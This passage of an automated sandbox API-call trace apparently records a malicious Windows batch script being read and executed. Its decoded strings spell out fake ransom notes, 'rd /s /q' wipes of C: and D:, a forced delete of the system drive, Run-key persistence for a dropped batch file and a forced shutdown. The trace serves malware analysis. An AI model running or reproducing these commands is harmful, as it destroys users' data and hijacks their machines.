lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=8759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0038.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops31.txt\r\n") returned 59 [0038.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0038.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.025] GetFileType (hFile=0x74) returned 0x1 [0038.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0038.025] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=8818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0038.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops32.txt\r\n") returned 59 [0038.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0038.025] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.025] GetFileType (hFile=0x74) returned 0x1 [0038.025] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0038.025] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=8877, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0038.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops33.txt\r\n") returned 59 [0038.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0038.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.026] GetFileType (hFile=0x74) returned 0x1 [0038.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0038.026] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=8936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0038.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops34.txt\r\n") returned 59 [0038.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0038.026] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.026] GetFileType (hFile=0x74) returned 0x1 [0038.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0038.026] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.026] SetFilePointer (in: hFile=0x74, lDistanceToMove=8995, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0038.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops35.txt\r\n") returned 59 [0038.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0038.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.027] GetFileType (hFile=0x74) returned 0x1 [0038.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0038.027] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=9054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0038.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops36.txt\r\n") returned 59 [0038.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0038.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.027] GetFileType (hFile=0x74) returned 0x1 [0038.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0038.027] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=9113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0038.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0038.027] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.027] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0038.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.028] GetFileType (hFile=0x74) returned 0x1 [0038.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0038.028] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=9172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0038.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops38.txt\r\n") returned 59 [0038.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0038.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.028] GetFileType (hFile=0x74) returned 0x1 [0038.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0038.028] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=9231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0038.028] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops39.txt\r\n") returned 59 [0038.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.028] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0038.028] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.029] GetFileType (hFile=0x74) returned 0x1 [0038.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0038.029] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=9290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0038.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops40.txt\r\n") returned 59 [0038.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0038.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.029] GetFileType (hFile=0x74) returned 0x1 [0038.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0038.029] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1e3, lpOverlapped=0x0) returned 1 [0038.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=9302, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0038.029] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q C:\\\r\nour file have been encrypted file >Oops40.txt\r\n") returned 12 [0038.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.029] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0038.029] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.029] GetFileType (hFile=0x74) returned 0x1 [0038.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0038.030] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1d7, lpOverlapped=0x0) returned 1 [0038.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=9314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0038.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q D:\\\r\n") returned 12 [0038.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0038.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.030] GetFileType (hFile=0x74) returned 0x1 [0038.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0038.030] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1cb, lpOverlapped=0x0) returned 1 [0038.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=9350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0038.030] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo @echo off>c:windowswimn32.bat\r\npted file >Oops40.txt\r\n") returned 36 [0038.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0038.030] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.030] GetFileType (hFile=0x74) returned 0x1 [0038.030] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0038.031] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1a7, lpOverlapped=0x0) returned 1 [0038.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=9387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0038.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo break off>>c:windowswimn32.bat\r\nted file >Oops40.txt\r\n") returned 37 [0038.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0038.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.031] GetFileType (hFile=0x74) returned 0x1 [0038.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0038.031] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x182, lpOverlapped=0x0) returned 1 [0038.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=9435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0038.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=48, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ipconfig/release_all>>c:windowswimn32.bat\r\nops40.txt\r\n") returned 48 [0038.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0038.031] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.031] GetFileType (hFile=0x74) returned 0x1 [0038.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0038.031] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x152, lpOverlapped=0x0) returned 1 [0038.031] SetFilePointer (in: hFile=0x74, lDistanceToMove=9466, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0038.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=31, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo end>>c:windowswimn32.bat\r\nndowswimn32.bat\r\n") returned 31 [0038.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0038.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.032] GetFileType (hFile=0x74) returned 0x1 [0038.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0038.032] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x133, lpOverlapped=0x0) returned 1 [0038.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=9586, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0038.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 120 [0038.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0038.032] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.032] GetFileType (hFile=0x74) returned 0x1 [0038.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0038.032] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0xbb, lpOverlapped=0x0) returned 1 [0038.032] SetFilePointer (in: hFile=0x74, lDistanceToMove=9706, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0038.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 120 [0038.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0038.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.033] GetFileType (hFile=0x74) returned 0x1 [0038.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0038.033] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x43, lpOverlapped=0x0) returned 1 [0038.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=9738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0038.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="del %systemdrive%\\*.* /f /s /q\r\nemicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 32 [0038.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0038.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.033] GetFileType (hFile=0x74) returned 0x1 [0038.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0038.033] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x23, lpOverlapped=0x0) returned 1 [0038.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=9745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0038.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\nstemdrive%\\*.* /f /s /q\r\n") returned 7 [0038.033] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.033] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0038.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.034] GetFileType (hFile=0x74) returned 0x1 [0038.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0038.034] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1c, lpOverlapped=0x0) returned 1 [0038.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="shutdown /s /t 20 /c Ooops\r\n/q\r\n") returned 28 [0038.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0038.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.034] GetFileType (hFile=0x74) returned 0x1 [0038.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0038.034] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x0, lpOverlapped=0x0) returned 1 [0038.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.034] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.034] GetFileType (hFile=0x74) returned 0x1 [0038.034] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.035] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0038.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=8, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@shift\r\n /s /t 20 /c Ooops\r\n") returned 8 [0038.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0038.035] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.035] GetFileType (hFile=0x74) returned 0x1 [0038.035] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0038.035] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, 